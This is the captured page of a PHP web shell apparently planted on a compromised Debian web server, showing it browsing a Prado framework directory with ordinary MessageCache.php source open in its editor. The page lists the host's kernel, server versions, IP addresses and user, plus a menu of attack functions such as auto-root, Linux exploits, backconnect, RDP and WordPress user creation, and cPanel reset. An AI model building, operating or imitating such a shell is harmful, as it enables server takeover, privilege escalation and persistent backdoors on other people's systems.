Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.58.191.60
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
I18N /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
Gettext
[ DIR ]
drwxr-xr-x
ChoiceFormat.php
6.14
KB
-rw-r--r--
CultureInfo.php
12.32
KB
-rw-r--r--
IMessageSource.php
3.72
KB
-rw-r--r--
MessageCache.php
3.91
KB
-rw-r--r--
MessageFormat.php
5.9
KB
-rw-r--r--
MessageSource.php
8.17
KB
-rw-r--r--
MessageSource_Database.php
9.43
KB
-rw-r--r--
MessageSource_PHP.php
10.21
KB
-rw-r--r--
MessageSource_XLIFF.php
13.12
KB
-rw-r--r--
MessageSource_gettext.php
11.11
KB
-rw-r--r--
TCache_Lite.php
13.58
KB
-rw-r--r--
TMessageSourceIOException.php
702
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MessageCache.php
<?php /** * Translation table cache. * @author $Author: weizhuo $ */ namespace Prado\I18N\core; /** * Load the cache lite library. */ use Exception; require_once(__DIR__ . '/TCache_Lite.php'); /** * Cache the translation table into the file system. * It can cache each cataloug+variant or just the whole section. * @author $Author: weizhuo $ */ class MessageCache { /** * Cache Lite instance. * @var TCache_Lite */ protected $cache; /** * Caceh life time, default is 1 year. */ protected $lifetime = 3153600; /** * Create a new Translation cache. * @param string $cacheDir Directory to store the cache files. */ public function __construct($cacheDir) { $cacheDir = $cacheDir . '/'; if (!is_dir($cacheDir)) { throw new Exception( 'The cache directory ' . $cacheDir . ' does not exists.' . 'The cache directory must be writable by the server.' ); } if (!is_writable($cacheDir)) { throw new Exception( 'The cache directory ' . $cacheDir . ' must be writable ' . 'by the server.' ); } $options = [ 'cacheDir' => $cacheDir, 'lifeTime' => $this->getLifeTime(), 'automaticSerialization' => true ]; $this->cache = new TCache_Lite($options); } /** * Get the cache life time. * @return int Cache life time. */ public function getLifeTime() { return $this->lifetime; } /** * Set the cache life time. * @param int $time Cache life time. */ public function setLifeTime($time) { $this->lifetime = (int) $time; } /** * Get the cache file ID based section and locale. * @param string $catalogue The translation section. * @param string $culture The translation locale, e.g. "en_AU". */ protected function getID($catalogue, $culture) { return $catalogue . ':' . $culture; } /** * Get the cache file GROUP based section and locale. * @param string $catalogue The translation section. * @param string $culture The translation locale, e.g. "en_AU". */ protected function getGroup($catalogue, $culture) { return $catalogue . ':' . get_class($this); } /** * Get the data from the cache. * @param string $catalogue The translation section. * @param string $culture The translation locale, e.g. "en_AU". * @param int $lastmodified If the source is a file, this file's modified * time is newer than the cache's modified time, no cache hit. * @return mixed bool FALSE if no cache hit. Otherwise, translation * table data for the specified section and locale. */ public function get($catalogue, $culture, $lastmodified = 0) { $ID = $this->getID($catalogue, $culture); $group = $this->getGroup($catalogue, $culture); $this->cache->_setFileName($ID, $group); $cache = $this->cache->getCacheFile(); if (is_file($cache) == false) { return false; } $lastmodified = (int) $lastmodified; if ($lastmodified <= 0 || $lastmodified > filemtime($cache)) { return false; } //echo '@@ Cache hit: "'.$ID.'" : "'.$group.'"'; //echo "<br>\n"; return $this->cache->get($ID, $group); } /** * Save the data to cache for the specified section and locale. * @param array $data The data to save. * @param string $catalogue The translation section. * @param string $culture The translation locale, e.g. "en_AU". */ public function save($data, $catalogue, $culture) { $ID = $this->getID($catalogue, $culture); $group = $this->getGroup($catalogue, $culture); //echo '## Cache save: "'.$ID.'" : "'.$group.'"'; //echo "<br>\n"; return $this->cache->save($data, $ID, $group); } /** * Clean up the cache for the specified section and locale. * @param string $catalogue The translation section. * @param string $culture The translation locale, e.g. "en_AU". */ public function clean($catalogue, $culture) { $group = $this->getGroup($catalogue, $culture); $this->cache->clean($group); } /** * Flush the cache. Deletes all the cache files. */ public function clear() { $this->cache->clean(); } }
Close